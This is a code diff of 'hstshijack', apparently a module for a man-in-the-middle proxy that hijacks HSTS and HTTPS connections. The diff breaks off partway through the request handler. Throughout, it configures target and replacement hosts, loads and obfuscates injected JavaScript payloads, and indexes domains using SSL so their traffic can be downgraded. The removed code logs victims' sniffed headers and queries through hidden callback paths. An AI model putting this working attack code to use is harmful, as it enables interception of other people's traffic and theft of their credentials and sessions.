+/* Saves the list of domains using SSL, as well as its index ranges. */
+function saveSSLIndex() {
+  writeFile(env["hstshijack.ssl.domains"], ssl.domains.join("\n"));
+  writeFile(env["hstshijack.ssl.index"], JSON.stringify(ssl.index, null, 2));
+}
+
+/* Returns the amount of characters of an identical prefix of two given strings. */
+function getMatchingPrefixLength(string1, string2) {
+  count = 0;
+  if (string1.length > string2.length) {
+    for (a = 0; a < string2.length; a++) {
+      if (string1.charAt(a) != string2.charAt(a)) {
+        break;
+      }
+      count++;
+    }
+  } else {
+    for (a = 0; a < string1.length; a++) {
+      if (string1.charAt(a) != string2.charAt(a)) {
+        break;
+      }
+      count++;
+    }
+  }
+  return count;
+}
+
+/* Returns true if domain1 gets alphanumeric precendence over domain2. */
+function getsPrecedence(domain1, domain2) {
+  if (domain1.length > domain2.length) {
+    /* If the first given domain is longer than the second. */
+    for (a = 0; a < domain2.length; a++) {
+      rank1 = ssl.hierarchy.indexOf(domain1.charAt(a));
+      rank2 = ssl.hierarchy.indexOf(domain2.charAt(a));
+      if (rank1 > rank2) {
+        return false;
+      } else if (rank1 < rank2) {
+        return true;
+      }
+    }
+    return false;
+  } else {
+    /* If the second given domain is longer than the first. */
+    for (a = 0; a < domain1.length; a++) {
+      rank1 = ssl.hierarchy.indexOf(domain1.charAt(a));
+      rank2 = ssl.hierarchy.indexOf(domain2.charAt(a));
+      if (rank1 > rank2) {
+        return false;
+      } else if (rank1 < rank2) {
+        return true;
+      }
+    }
+    return true;
+  }
+}
+
+/* Returns an array with the first and last index of an alphanumeric range of domains.
+ * This is the range in which domains are/will be indexed. */
+function getIndexRange(char) {
+  if (index_range = ssl.index[char]) {
+    /* Character is already indexed. */
+    return index_range;
+  } else {
+    /* Character is not yet indexed. */
+    indexed_chars = Object.keys(ssl.index).concat(char).sort();
+    this_char_index = indexed_chars.indexOf(char);
+    if (
+         indexed_chars[this_char_index - 1]
+      && indexed_chars[this_char_index + 1]
+    ) {
+      /* Will not be the first nor last indexed character. */
+      return [
+        ssl.index[indexed_chars[this_char_index + 1]][0],
+        ssl.index[indexed_chars[this_char_index + 1]][0]
+      ];
+    } else if (indexed_chars[this_char_index + 1]) {
+      /* Will be the first indexed character, but not the last. */
+      return [
+        0,
+        ssl.index[indexed_chars[this_char_index + 1]][0]
+      ];
+    } else if (indexed_chars[this_char_index - 1]) {
+      /* Will be the last indexed character, but not the first. */
+      if (ssl.domains.length == 1) {
+        /* Will be the second and last indexed character. */
+        return [
+          ssl.index[indexed_chars[this_char_index - 1]][1] + 1,
+          1
+        ];
+      } else {
+        /* Will be the last but not the second indexed character. */
+        return [
+          ssl.index[indexed_chars[this_char_index - 1]][1] + 1,
+          ssl.domains.length
+        ];
+      }
+    } else {
+      /* Will be the first and last indexed character. */
+      return [0, 0];
+    }
+  }
+}
+
+/* Returns the index of a given domain within a given index range. */
+function getDomainIndex(domain, index_range) {
+  domain = domain.toLowerCase();
+  if (
+       index_range[0] == index_range[1]
+    && domain === ssl.domains[index_range[0]]
+  ) {
+    /* This domain is the only indexed domain with this first character. */
+    return index_range[0];
+  }
+  /* Return this domain's index when found in this index range. */
+  for (a = index_range[0]; a < index_range[1] + 1; a++) {
+    if (domain === ssl.domains[a]) {
+      return a;
+    }
+  }
+  /* This domain is not indexed. */
+  return -1;
+}
+
+/* Index a new domain. */
+function indexDomain(domain) {
+  domain = domain.toLowerCase();
+  first_char = domain.charAt(0);
+  index_range = getIndexRange(first_char);
+  if (getDomainIndex(domain, index_range) == -1) {
+    /* This domain is not indexed yet. */
+    log_debug(on_blue + "hstshijack" + reset + " Indexing domain " + bold + domain + reset + " ...");
+    indexed_chars = Object.keys(ssl.index);
+    if (index_range[0] == index_range[1]) {
+      /* This index range consists of only one index. */
+      if (ssl.domains[index_range[0]]) {
+        /* This index range contains one domain. */
+        new_index = index_range[0];
+        if (getsPrecedence(ssl.domains[index_range[0]], domain)) {
+          new_index++;
+        }
+        arr_ = ssl.domains.slice(0, new_index);
+        _arr = ssl.domains.slice(new_index, ssl.domains.length);
+        ssl.domains = [].concat(arr_, [domain], _arr);
+        ssl.index[first_char] = [
+          index_range[0],
+          index_range[1] + 1
+        ];
+      } else {
+        /* This index range contains no domains. */
+        ssl.domains.push(domain);
+        ssl.index[first_char] = [
+          index_range[0],
+          index_range[1]
+        ];
+      }
+    } else {
+      /* This index range consists of multiple domains. */
+      new_index = index_range[0];
+      for (var a = index_range[0]; a < index_range[1] + 1; a++) {
+        if (!getsPrecedence(domain, ssl.domains[a])) {
+          new_index = a + 1;
+        } else {
+          break;
+        }
+      }
+      arr_ = ssl.domains.slice(0, new_index);
+      _arr = ssl.domains.slice(new_index, ssl.domains.length);
+      ssl.domains = [].concat(arr_, [domain], _arr);
+      ssl.index[first_char] = [
+        index_range[0],
+        index_range[1] + 1
+      ];
+    }
+    remaining_indexed_chars = indexed_chars.slice(index_range[1] + 1);
+    for (a = 0; a < remaining_indexed_chars.length; a++) {
+      indexed_char = remaining_indexed_chars[a];
+      index_range = ssl.index[indexed_char];
+      ssl.index[indexed_char] = [
+        index_range[0] + 1,
+        index_range[1] + 1
+      ];
+    }
+    saveSSLIndex();
+  } else {
+    /* This domain is already indexed. */
+    log_debug(on_blue + "hstshijack" + reset + " Skipped already indexed domain " + bold + domain + reset);
+  }
 }
 
 function configure() {
-	// Read caplet.
-	env["hstshijack.ignore"]       ? ignore_hosts       = env["hstshijack.ignore"].replace(/\s/g, "").split(",")       : ignore_hosts       = []
-	env["hstshijack.targets"]      ? target_hosts       = env["hstshijack.targets"].replace(/\s/g, "").split(",")      : target_hosts       = []
-	env["hstshijack.replacements"] ? replacement_hosts  = env["hstshijack.replacements"].replace(/\s/g, "").split(",") : replacement_hosts  = []
-	env["hstshijack.blockscripts"] ? block_script_hosts = env["hstshijack.blockscripts"].replace(/\s/g, "").split(",") : block_script_hosts = []
-	env["hstshijack.payloads"]     ? payloads           = env["hstshijack.payloads"].replace(/\s/g, "").split(",")     : payloads           = []
-	env["hstshijack.obfuscate"]    ? obfuscate          = env["hstshijack.obfuscate"].replace(/\s/g, "").toLowerCase() : obfuscate          = false
-
-	// Validate caplet.
-	target_hosts.length < replacement_hosts.length ? log_fatal(on_blue + "hstshijack" + reset + " Too many hstshijack.replacements (got " + replacement_hosts.length + ").")   : ""
-	target_hosts.length > replacement_hosts.length ? log_fatal(on_blue + "hstshijack" + reset + " Not enough hstshijack.replacements (got " + replacement_hosts.length + ").") : ""
-	target_hosts.indexOf("*")      != -1 ? log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets value (got *).")      : ""
-	replacement_hosts.indexOf("*") != -1 ? log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.replacements value (got *).") : ""
-	for (var i = 0; i < ignore_hosts.length; i++) {
-		!ignore_hosts[i].match(/^\*$/i) 
-		&& !ignore_hosts[i].match(/^(?:\*\.[a-z]{1,63}|(?:(?:\*\.|)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63})))$/i) 
-		&& !ignore_hosts[i].match(/^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+\*$/i) 
-		? log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.ignore value (got " + ignore_hosts[i] + ").") 
-		: ""
-	}
-	for (var i = 0; i < target_hosts.length; i++) {
-		!target_hosts[i].match(/^(?:\*\.[a-z]{1,63}|(?:(?:\*\.|)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63})))$/i) 
-		&& !target_hosts[i].match(/^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+\*$/i) 
-		? log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets value (got " + target_hosts[i] + ").") 
-		: ""
-		!replacement_hosts[i].match(/^(?:\*\.[a-z]{1,63}|(?:(?:\*\.|)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63})))$/i) 
-		&& !replacement_hosts[i].match(/^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+\*$/i) 
-		? log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.replacements value (got " + replacement_hosts[i] + ").") 
-		: ""
-		if (target_hosts[i].match(/\*/g) || replacement_hosts[i].match(/\*/g)) {
-			target_host_wildcard_count      = target_hosts[i].match(/\*/g).length      || 0
-			replacement_host_wildcard_count = replacement_hosts[i].match(/\*/g).length || 0
-			if (target_host_wildcard_count != replacement_host_wildcard_count) {
-				log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets or hstshijack.replacements value, wildcards do not match (got " + target_hosts[i] + " and " + replacement_hosts[i] + ").")
-			}
-		}
-	}
-	for (var i = 0; i < block_script_hosts.length; i++) {
-		!block_script_hosts[i].match(/^\*$/i) 
-		&& !block_script_hosts[i].match(/^(?:\*\.[a-z]{1,63}|(?:(?:\*\.|)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63})))$/i) 
-		&& !block_script_hosts[i].match(/^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+\*$/i) 
-		? log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.blockscripts value (got " + block_script_hosts[i] + ").") 
-		: ""
-	}
-	if (obfuscate == "true") {
-		obfuscate = true
-	} else {
-		obfuscate = false
-	}
-	// Preload custom payloads.
-	p = {}
-	for (var a = 0; a < payloads.length; a++) {
-		!payloads[a].match(/^\*:.+$/i) 
-		&& !payloads[a].match(/^(?:\*\.[a-z]{1,63}|(?:(?:\*\.|)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63}))):.+$/i) 
-		&& !payloads[a].match(/^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+\*$/i) 
-		? log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.payloads value (got " + payloads[a] + ").")
-		: ""
-
-		payload_host = payloads[a].replace(/[:].*/, "")
-		payload_path = payloads[a].replace(/.*[:]/, "")
-
-		if ( !readFile(payload_path) ) {
-			log_error(on_blue + "hstshijack" + reset + " Could not read a payload_path in hstshijack.payloads (got " + payload_path + ").")
-		} else {
-			this_payload = readFile(payload_path).replace(/obf_path_whitelist/g, whitelist_path).replace(/obf_path_callback/g, callback_path)
-
-			if (obfuscate) {
-				obfuscation_variables = this_payload.match(/obf_[a-z0-9_]*/ig) || []
-				for (var b = 0; b < obfuscation_variables.length; b++) {
-					regexp = new RegExp(obfuscation_variables[b], "g")
-					this_payload = this_payload.replace( regexp, randomString( 8 + Math.random() * 16 ) )
-				}
-			}
-
-			if (p[payload_host]) {
-				p[payload_host] = { "payload": p[payload_host].payload + "\n" + this_payload }
-			} else {
-				p[payload_host] = { "payload": this_payload }
-			}
-		}
-	}
-	payloads = p
-	// Prepare core payload.
-	payload = payload_container.replace(/\{\{SESSION_ID_TAG\}\}/g, session_id)
-	payload = payload.replace("obf_path_whitelist", whitelist_path)
-	payload = payload.replace("obf_path_callback", callback_path)
-	payload = payload.replace("obf_path_ssl_log", ssl_log_path)
-	payload = payload.replace( "{{VARIABLES_TAG}}", "{{VARIABLES_TAG}}\n		var " + var_replacement_hosts + " = [\"" + replacement_hosts.join("\",\"") + "\"]" )
-	payload = payload.replace( "{{VARIABLES_TAG}}", "var " + var_target_hosts + " = [\"" + target_hosts.join("\",\"") + "\"]" )
-	payload = payload.replace(/obf_var_replacement_hosts/g, var_replacement_hosts)
-	payload = payload.replace(/obf_var_target_hosts/g, var_target_hosts)
-	// Obfuscate core payload.
-	if (obfuscate) {
-		obfuscation_variables = payload.match(/obf_[a-z0-9_]*/ig) || []
-		for (var i = 0; i < obfuscation_variables.length; i++) {
-			regexp = new RegExp(obfuscation_variables[i], "g")
-			payload = payload.replace( regexp, randomString( 8 + Math.random() * 16 ) )
-		}
-	}
-
-	// Ensure targeted hosts are in SSL log.
-	for (var i = 0; i < target_hosts.length; i++) {
-		target = target_hosts[i]
-		if ( !target.match(/\*/) ) {
-			if ( ssl_log.indexOf(target) == -1 ) {
-				ssl_log.push(target)
-				writeFile( env["hstshijack.log"], ssl_log.join("\n") )
-				env["hstshijack.log"] ? log_debug(on_blue + "hstshijack" + reset + " Saved " + target + " to SSL log.") : ""
-			}
-		}
-	}
+  /* Read caplet. */
+  env["hstshijack.ignore"]
+    ? ignore_hosts = env["hstshijack.ignore"].replace(/\s/g, "").split(",")
+    : ignore_hosts = [];
+  env["hstshijack.targets"]
+    ? target_hosts = env["hstshijack.targets"].replace(/\s/g, "").split(",")
+    : target_hosts = [];
+  env["hstshijack.replacements"]
+    ? replacement_hosts = env["hstshijack.replacements"].replace(/\s/g, "").split(",")
+    : replacement_hosts = [];
+  env["hstshijack.blockscripts"]
+    ? block_script_hosts = env["hstshijack.blockscripts"].replace(/\s/g, "").split(",")
+    : block_script_hosts = [];
+  env["hstshijack.obfuscate"]
+    ? obfuscate = env["hstshijack.obfuscate"].replace(/\s/g, "").toLowerCase()
+    : obfuscate = false;
+
+  /* Validate caplet. */
+  if (target_hosts.length < replacement_hosts.length) {
+    log_fatal(on_blue + "hstshijack" + reset + " Too many hstshijack.replacements (got " + replacement_hosts.length + ").");
+  }
+  if (target_hosts.length > replacement_hosts.length) {
+    log_fatal(on_blue + "hstshijack" + reset + " Not enough hstshijack.replacements (got " + replacement_hosts.length + ").");
+  }
+  if (target_hosts.indexOf("*") != -1) {
+    log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets value (got *).");
+  }
+  if (replacement_hosts.indexOf("*") != -1) {
+    log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.replacements value (got *).");
+  }
+
+  whole_prefix_wildcard_domain_selector = /^(?:\*\.[a-z]{1,63}|(?:(?:\*\.|)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63})))$/i;
+  whole_suffix_wildcard_domain_selector = /^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+\*$/i;
+  for (a = 0; a < ignore_hosts.length; a++) {
+    if (
+         !ignore_hosts[a].match(/^\*$/i)
+      && !ignore_hosts[a].match(whole_prefix_wildcard_domain_selector)
+      && !ignore_hosts[a].match(whole_suffix_wildcard_domain_selector)
+    ) {
+      log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.ignore value (got " + ignore_hosts[a] + ").");
+    }
+  }
+
+  for (a = 0; a < target_hosts.length; a++) {
+    if (
+         !target_hosts[a].match(whole_prefix_wildcard_domain_selector)
+      && !target_hosts[a].match(whole_suffix_wildcard_domain_selector)
+    ) {
+      log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets value (got " + target_hosts[a] + ").");
+    }
+
+    if (
+         !replacement_hosts[a].match(whole_prefix_wildcard_domain_selector)
+      && !replacement_hosts[a].match(whole_suffix_wildcard_domain_selector)
+    ) {
+      log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.replacements value (got " + replacement_hosts[a] + ").");
+    }
+
+    if (target_hosts[a].match(/\*/g) || replacement_hosts[a].match(/\*/g)) {
+      target_host_wildcard_count      = target_hosts[a].match(/\*/g).length      || 0;
+      replacement_host_wildcard_count = replacement_hosts[a].match(/\*/g).length || 0;
+      if (target_host_wildcard_count != replacement_host_wildcard_count) {
+        log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets or hstshijack.replacements value, wildcards do not match (got " + target_hosts[a] + " and " + replacement_hosts[a] + ").");
+      }
+    }
+  }
+
+  for (a = 0; a < block_script_hosts.length; a++) {
+    if (
+         !block_script_hosts[a].match(/^\*$/i)
+      && !block_script_hosts[a].match(whole_prefix_wildcard_domain_selector)
+      && !block_script_hosts[a].match(whole_suffix_wildcard_domain_selector)
+    ) {
+      log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.blockscripts value (got " + block_script_hosts[a] + ").");
+    }
+  }
+
+  if (obfuscate == "true") {
+    obfuscate = true;
+  } else {
+    obfuscate = false;
+  }
+
+  /* Prepare payloads. */
+  env["hstshijack.payloads"]
+    ? payload_entries = env["hstshijack.payloads"].replace(/\s/g, "").split(",")
+    : payload_entries = [];
+
+  for (a = 0; a < payload_entries.length; a++) {
+    if (
+         !payload_entries[a].match(/^\*:.+$/i)
+      && !payload_entries[a].match(/^(?:\*\.[a-z]{1,63}|(?:(?:\*\.|)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63}))):.+$/i)
+      && !payload_entries[a].match(whole_suffix_wildcard_domain_selector)
+    ) {
+      log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.payloads value (got " + payload_entries[a] + ").");
+    }
+
+    payload_host = payload_entries[a].replace(/[:].*/, "");
+    payload_path = payload_entries[a].replace(/.*[:]/, "");
+
+    payload = "";
+    if (!(payload = readFile(payload_path))) {
+      log_fatal(on_blue + "hstshijack" + reset + " Could not read a payload (got " + payload_path + ").");
+    } else {
+      payload = payload
+        .replace(/obf_var_target_hosts/g, varname_target_hosts)
+        .replace(/obf_var_replacement_hosts/g, varname_replacement_hosts)
+        .replace(/obf_path_callback/g, callback_path)
+        .replace(/obf_path_ssl_index/g, ssl_index_path)
+        .replace(/obf_path_whitelist/g, whitelist_path);
+
+      if (obfuscate) {
+        obfuscation_variables = payload.match(/obf_[a-z0-9_]*/ig) || [];
+        for (b = 0; b < obfuscation_variables.length; b++) {
+          if (obfuscation_variables.indexOf(obfuscation_variables[b]) === b) {
+            regexp = new RegExp(obfuscation_variables[b], "g");
+            payload = payload.replace(regexp, randomString(8 + (Math.random() * 8)));
+          }
+        }
+      }
+
+      if (payloads[payload_host]) {
+        payloads[payload_host] = payloads[payload_host] + "\n" + payload + "\n";
+      } else {
+        payloads[payload_host] = payload + "\n";
+      }
+    }
+  }
+
+  /* Prepare payload container */
+  payload_container_prefix = payload_container_prefix.replace(/\{\{SESSION_ID_TAG\}\}/g, session_id);
+  payload_container_prefix = payload_container_prefix +
+    "var " + varname_target_hosts + " = [\"" + target_hosts.join("\",\"") + "\"];\n" +
+    "var " + varname_replacement_hosts + " = [\"" + replacement_hosts.join("\",\"") + "\"];\n";
+  payload_container_suffix = payload_container_suffix.replace(/\{\{SESSION_ID_TAG\}\}/g, session_id);
+
+  /* Prepare SSL index */
+  ssl_index_check = env["hstshijack.ssl.check"].toLowerCase() || "true";
+  all_domains = readFile(env["hstshijack.ssl.domains"]).split("\n");
+  if (all_domains.length == 0) {
+    log_info(on_blue + "hstshijack" + reset + " No indexed domains were found, index will be reset.");
+  } else {
+    if (ssl_index_check != "false") {
+      log_info(on_blue + "hstshijack" + reset + " Indexing SSL domains ...");
+      all_domains
+        .sort()
+        .filter(function(domain, index, arr){
+          if (domain !== "" && arr.indexOf(domain) === index) {
+            indexDomain(domain);
+          }
+        });
+    } else {
+      ssl.domains = all_domains;
+      index_file_contents = readFile(env["hstshijack.ssl.index"]);
+      if (ssl.domains.length != 0 && index_file_contents == "") {
+        log_fatal(on_blue + "hstshijack" + reset + " List of domains using SSL is not indexed. Please set your hstshijack.ssl.check value to true in your caplet.");
+      }
+      ssl.index = JSON.parse(index_file_contents);
+      log_info(on_blue + "hstshijack" + reset + " Skipped SSL index check for " + all_domains.length + " domain(s).");
+    }
+  }
+
+  /* Ensure targeted hosts are in SSL log (no wildcards). */
+  for (var a = 0; a < target_hosts.length; a++) {
+    if (target_hosts[a].indexOf("*") === -1) {
+      indexDomain(target_hosts[a]);
+    }
+  }
+
+  saveSSLIndex();
+  log_info(on_blue + "hstshijack" + reset + " Indexed " + ssl.domains.length + " domains.");
 }
 
 function showConfig() {
-	// Print module information on screen
-	logStr  = "\n"
-	logStr += "  " + bold + "Commands" + reset + "\n"
-	logStr += "\n"
-	logStr += "    " + bold + "hstshijack.show" + reset + " : Show module info.\n"
-	logStr += "\n"
-	logStr += "  " + bold + "Caplet" + reset + "\n"
-	logStr += "\n"
-	logStr += "    " + yellow + "           hstshijack.log" + reset + " > " + ( env["hstshijack.log"] ? green + env["hstshijack.log"] : red + "undefined" ) + reset + "\n"
-	logStr += "    " + yellow + "        hstshijack.ignore" + reset + " > " + ( env["hstshijack.ignore"] ? green + env["hstshijack.ignore"] : red + "undefined" ) + reset + "\n"
-	logStr += "    " + yellow + "       hstshijack.targets" + reset + " > " + ( env["hstshijack.targets"] ? green + env["hstshijack.targets"] : red + "undefined" ) + reset + "\n"
-	logStr += "    " + yellow + "  hstshijack.replacements" + reset + " > " + ( env["hstshijack.replacements"] ? green + env["hstshijack.replacements"] : red + "undefined" ) + reset + "\n"
-	logStr += "    " + yellow + "  hstshijack.blockscripts" + reset + " > " + ( env["hstshijack.blockscripts"] ? green + env["hstshijack.blockscripts"] : red + "undefined" ) + reset + "\n"
-	logStr += "    " + yellow + "     hstshijack.obfuscate" + reset + " > " + ( obfuscate ? green + "true" : red + "false" ) + reset + "\n"
-	logStr += "    " + yellow + "      hstshijack.payloads" + reset + " > "
-	if ( env["hstshijack.payloads"] ) {
-			list = env["hstshijack.payloads"].replace(/\s/g, "").split(",")
-			logStr += green + list[0] + reset + "\n"
-			if (list.length > 1) {
-				for ( var i = 0; i < (list.length-1); i++ ) {
-					logStr += "                              > " + green + list[i+1] + reset + "\n"
-				}
-			}
-	} else {
-		logStr += red + "undefined" + reset + "\n"
-	}
-	logStr += "\n"
-	logStr += "  " + bold + "Session info" + reset + "\n"
-	logStr += "\n"
-	logStr += "    " + bold + "     Session ID" + reset + " : " + session_id + "\n"
-	logStr += "    " + bold + "  Callback Path" + reset + " : /" + callback_path + "\n"
-	logStr += "    " + bold + " Whitelist Path" + reset + " : /" + whitelist_path + "\n"
-	logStr += "    " + bold + "   SSL Log Path" + reset + " : /" + ssl_log_path + "\n"
-	logStr += "    " + bold + "        SSL Log" + reset + " : " + ssl_log.length + " host" + (ssl_log.length == 1 ? "" : "s") + "\n"
-	console.log(logStr)
+  /* Print module configuration. */
+  logStr  = "\n";
+  logStr += "  " + bold + "Caplet" + reset + "\n";
+  logStr += "\n";
+  logStr += "    " + yellow + " hstshijack.ssl.domains" + reset + " > " + (env["hstshijack.ssl.domains"] ? green + env["hstshijack.ssl.domains"] : red + "undefined") + reset + "\n";
+  logStr += "    " + yellow + "   hstshijack.ssl.index" + reset + " > " + (env["hstshijack.ssl.index"] ? green + env["hstshijack.ssl.index"] : red + "undefined") + reset + "\n";
+  logStr += "    " + yellow + "   hstshijack.ssl.check" + reset + " > " + (env["hstshijack.ssl.check"].match(/^true$/i) ? green + "true" : red + "false") + reset + "\n";
+  logStr += "    " + yellow + "      hstshijack.ignore" + reset + " > " + (env["hstshijack.ignore"] ? green + env["hstshijack.ignore"] : red + "undefined") + reset + "\n";
+  logStr += "    " + yellow + "     hstshijack.targets" + reset + " > " + (env["hstshijack.targets"] ? green + env["hstshijack.targets"] : red + "undefined") + reset + "\n";
+  logStr += "    " + yellow + "hstshijack.replacements" + reset + " > " + (env["hstshijack.replacements"] ? green + env["hstshijack.replacements"] : red + "undefined") + reset + "\n";
+  logStr += "    " + yellow + "hstshijack.blockscripts" + reset + " > " + (env["hstshijack.blockscripts"] ? green + env["hstshijack.blockscripts"] : red + "undefined") + reset + "\n";
+  logStr += "    " + yellow + "   hstshijack.obfuscate" + reset + " > " + (obfuscate ? green + "true" : red + "false") + reset + "\n";
+  logStr += "    " + yellow + "    hstshijack.payloads" + reset + " > ";
+  if (env["hstshijack.payloads"]) {
+    list = env["hstshijack.payloads"].replace(/\s/g, "").split(",");
+    logStr += green + list[0] + reset + "\n";
+    if (list.length > 1) {
+      for (a = 1; a < list.length; a++) {
+        logStr += "                            > " + green + list[a] + reset + "\n";
+      }
+    }
+  } else {
+    logStr += red + "undefined" + reset + "\n";
+  }
+  logStr += "\n";
+  logStr += "  " + bold + "Commands" + reset + "\n";
+  logStr += "\n";
+  logStr += "    " + bold + "       hstshijack.show" + reset + " : Show module info.\n";
+  logStr += "    " + bold + "hstshijack.ssl.domains" + reset + " : Show recorded domains with SSL.\n";
+  logStr += "    " + bold + "  hstshijack.ssl.index" + reset + " : Show SSL domain index.\n";
+  logStr += "\n";
+  logStr += "  " + bold + "Session info" + reset + "\n";
+  logStr += "\n";
+  logStr += "    " + bold + "    Session ID" + reset + " : " + session_id + "\n";
+  logStr += "    " + bold + " Callback path" + reset + " : " + callback_path + "\n";
+  logStr += "    " + bold + "Whitelist path" + reset + " : " + whitelist_path + "\n";
+  logStr += "    " + bold + "SSL index path" + reset + " : " + ssl_index_path + "\n";
+  logStr += "    " + bold + "   SSL domains" + reset + " : " + ssl.domains.length + " domain" + (ssl.domains.length == 1 ? "" : "s") + "\n";
+  console.log(logStr);
 }
 
 function onCommand(cmd) {
-	if (cmd == "hstshijack.show") {
-		showConfig()
-		return true
-	}
+  if (cmd == "hstshijack.show") {
+    showConfig();
+    return true;
+  }
+  if (cmd == "hstshijack.ssl.domains") {
+    if (ssl.domains.length > 20) {
+      log_string = ssl.domains.slice(0, 20).push("...").join(reset + "\n    " + yellow);
+      console.log("\n" + bold + "  Recorded domains with SSL (" + ssl.domains.length + ")" + reset + "\n\n    " + yellow + log_string + reset + "\n");
+    } else {
+      console.log("\n" + bold + "  Recorded domains with SSL (" + ssl.domains.length + ")" + reset + "\n\n    " + yellow + ssl.domains.join(reset + "\n    " + yellow) + reset + "\n");
+    }
+    return true;
+  }
+  if (cmd == "hstshijack.ssl.index") {
+    log_string = "\n" + bold + "  SSL domain index (" + Object.keys(ssl.index).length + ")" + reset + "\n";
+    for (a = 0; a < Object.keys(ssl.index).length; a++) {
+      indexed_char = Object.keys(ssl.index)[a];
+      char_index = ssl.index[indexed_char];
+      log_string += "\n    " + yellow + indexed_char + reset + " (first: " + char_index[0] + ", last: " + char_index[1] + ")";
+    }
+    console.log(log_string + "\n");
+    return true;
+  }
 }
 
 function onLoad() {
-	math_seed = new Date().getMilliseconds()
-	Math.random = function() { return randomFloat() }
-
-	log_info(on_blue + "hstshijack" + reset + " Generating random variable names for this session ...")
-	session_id            = randomString( 4 + Math.random() * 12 )
-	callback_path         = randomString( 4 + Math.random() * 12 )
-	whitelist_path        = randomString( 4 + Math.random() * 12 )
-	ssl_log_path          = randomString( 4 + Math.random() * 12 )
-	var_target_hosts      = randomString( 4 + Math.random() * 12 )
-	var_replacement_hosts = randomString( 4 + Math.random() * 12 )
-
-	log_info(on_blue + "hstshijack" + reset + " Reading SSL log ...")
-	if ( !readFile( env["hstshijack.log"] ) ) {
-		log_info(on_blue + "hstshijack" + reset + " No SSL log file found, creating one now ...")
-		writeFile(env["hstshijack.log"], "")
-	}
-	ssl_log = readFile( env["hstshijack.log"] ).split("\n")
-
-	log_info(on_blue + "hstshijack" + reset + " Reading caplet ...")
-	configure()
-	log_info(on_blue + "hstshijack" + reset + " Module loaded.")
-	showConfig()
+  math_seed = new Date().getMilliseconds();
+  Math.random = function() {
+    return randomFloat();
+  }
+
+  log_info(on_blue + "hstshijack" + reset + " Generating random variable names for this session ...");
+  session_id                = randomString(8 + Math.random() * 8);
+  varname_target_hosts      = randomString(8 + Math.random() * 8);
+  varname_replacement_hosts = randomString(8 + Math.random() * 8);
+  callback_path             = "/" + randomString(8 + Math.random() * 8);
+  whitelist_path            = "/" + randomString(8 + Math.random() * 8);
+  ssl_index_path            = "/" + randomString(8 + Math.random() * 8);
+
+  log_info(on_blue + "hstshijack" + reset + " Reading caplet ...");
+  configure();
+  log_info(on_blue + "hstshijack" + reset + " Module loaded.");
+  showConfig();
 }
 
 function onRequest(req, res) {
-
-	ignored = false
-
-/* Handle special callbacks */
-
-	if (req.Path == "/" + callback_path || req.Path == "/" + whitelist_path || req.Path == "/" + ssl_log_path) {
-
-		// SSL log callback
-		// Requests made for this path will decode a base64 encoded hostname and send a HEAD request to this hostname in search for HTTPS redirects.
-		if (req.Path == "/" + ssl_log_path) {
-			queried_host = atob(req.Query)
-			if ( ssl_log.indexOf(queried_host) == -1 ) {
-				log_debug(on_blue + "hstshijack" + reset + " Learning HTTP response from " + queried_host + " ...")
-				req.Hostname = queried_host
-				req.Path     = "/"
-				req.Query    = ""
-				req.Body     = ""
-				req.Method   = "HEAD"
-			}
-			log_debug(on_blue + "hstshijack" + reset + " Silent SSL log callback received from " + green + req.Client.IP + reset + " for " + bold + queried_host + reset + ".")
-		}
-
-		// Basic callback
-		// Requests made for this path will print sniffed data.
-		// Requests made for this path will not be proxied.
-		if (req.Path == "/" + callback_path) {
-			log_info(on_blue + "hstshijack" + reset + " Silent callback received from " + green + req.Client.IP + reset + " for " + bold + req.Hostname + reset)
-
-			var logStr = "\n  " + on_grey + " " + reset + " \n  " + on_grey + " " + reset + "  [" + green + "hstshijack.callback" + reset + "] " + on_grey + "CALLBACK" + reset + " " + req.Scheme + "://" + req.Hostname + req.Path + (req.Query != "" ? ("?" + req.Query) : "") + "\n  " + on_grey + " " + reset + " \n"
-
-			logStr += "  " + on_grey + " " + reset + "  " + bold + "Headers" + reset + "\n  " + on_grey + " " + reset + " \n"
-			headers = req.Headers.split("\r\n")
-			for (var i = 0; i < headers.length; i++) {
-				if ( headers[i].split(": ").length == 2 ) {
-					params = headers[i].split(": ")
-					logStr += "  " + on_grey + " " + reset + "    " + blue + params[0] + reset + ": " + yellow + params[1] + reset + "\n"
-				} else {
-					logStr += "  " + on_grey + " " + reset + "    " + yellow + headers[i] + reset + "\n"
-				}
-			}
-
-			logStr += "  " + on_grey + " " + reset + "  " + bold + "Query" + reset + "\n  " + on_grey + " " + reset + " \n"
-			queries = req.Query.split("&")
